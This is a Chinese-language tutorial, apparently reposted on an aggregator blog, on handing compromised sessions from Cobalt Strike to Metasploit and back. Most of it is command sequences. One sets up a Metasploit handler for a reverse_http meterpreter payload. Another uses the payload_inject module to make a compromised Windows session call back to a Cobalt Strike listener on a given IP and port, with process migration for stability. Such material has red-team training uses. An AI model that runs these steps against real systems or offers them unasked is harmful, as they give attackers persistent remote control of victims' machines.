当前位置: 首页 > news >正文

cobalt strike(CS)与Metasploit(MSF)联动

CS —> MSF

首先cs上创建一个http的外部监听器。

此时在CS服务端查看监听的ip,发现并没有开启,需要到成功移交会话后才会启动。

netstat -tunlp | grep 7000

在MSF中使用handler模块,配置监听。

注意:目标机器的地址是rhost,本地机器的地址是lhost。

msf6 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_http
payload => windows/meterpreter/reverse_http
msf6 exploit(multi/handler) > set lhost 192.168.0.128
lhost => 192.168.0.128
msf6 exploit(multi/handler) > set lport 7000
lport => 7000
msf6 exploit(multi/handler) > run[*] Started HTTP reverse handler on http://192.168.0.128:7000

此时在对应的想进行移交的交互会话内执行下面命令即可成功移交。

MSF成功监听到会话。

此时再次查看监听器所配置的端口,即可看到已经启动。

netstat -tunlp | grep 7000

MSF —> CS

首先在CS内创建监听器。

​将session放在后台,然后配置payloads_inject模块。

background
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http   # 和CS的监听器要一致
set lhost 192.168.0.128   # CS服务端IP
set lport 6669       # CS客户端配置的监听器的端口号
set DisablePayloadHandler True   #禁用MSF自动启动payload handler,因为要用在CS内手动启动的handler。
set PrependMigrate True    #在payload执行前自动迁移到另一个进程,以提高稳定性。
set session 2  # 会话id
run

此时可以看到CS内成功监听到了会话。

http://www.lryc.cn/news/609543.html

相关文章:

  • Nestjs框架: @nestjs/config 配置模块详解与实践
  • Go 语言模糊测试 (Fuzz Testing) 深度解析与实践
  • 基于鼠标位置的相机缩放和平移命令的实现(原理+源码)
  • Java 17新特性深度解读:Records、Sealed Classes与Pattern Matching
  • 宝塔面板安装WordPress教程:10分钟一键部署搭建个人博客 (2025)
  • Git如何同步本地与远程仓库并解决冲突
  • Linux 用户与组管理全解析
  • 电商系统想撑住大流量?ZKmall开源商城靠微服务 + Spring Boot3 解决单体架构难题
  • JavaScript中的作用域、闭包、定时器 由浅入深
  • 肾上腺疾病AI诊疗一体化系统应用方向探析
  • 机器学习——学习路线
  • 【拓扑序 容斥原理】P6651 「SWTR-5」Chain|省选-
  • 登录验证码功能实现:Spring Boot + Vue 全流程解析
  • Ethereum:智能合约开发者的“瑞士军刀”OpenZeppelin
  • Neo4j 社区版 Mac 安装教程
  • 数据结构---配置网络步骤、单向链表额外应用
  • Vue3核心语法进阶(Hook)
  • 如何使用EF框架操作Sqlite
  • 20250805问答课题-实现TextRank + 问题分类
  • 量子计算接口开发:Python vs Rust 性能对决
  • uniapp快遞上門提貨的時間選擇的插件
  • PyTorch生成式人工智能(25)——基于Transformer实现机器翻译
  • 代码详细注释:(linux)TCP客户端接收服务器端发的信息
  • AI 大模型分类全解析:从文本到多模态的技术图谱
  • Rust ⽣成 .wasm 的极致瘦⾝之道
  • 从 Hive 数仓出发,全面剖析 StarRocks、MySQL、HBase 的使用场景与区别
  • 【Spark征服之路-4.5-Spark-Streaming核心编程(三)】
  • [Oracle] TO_CHAR()函数
  • 安装MySQL教程时可能遇到的问题
  • 【Linux】重生之从零开始学习运维之GTID复制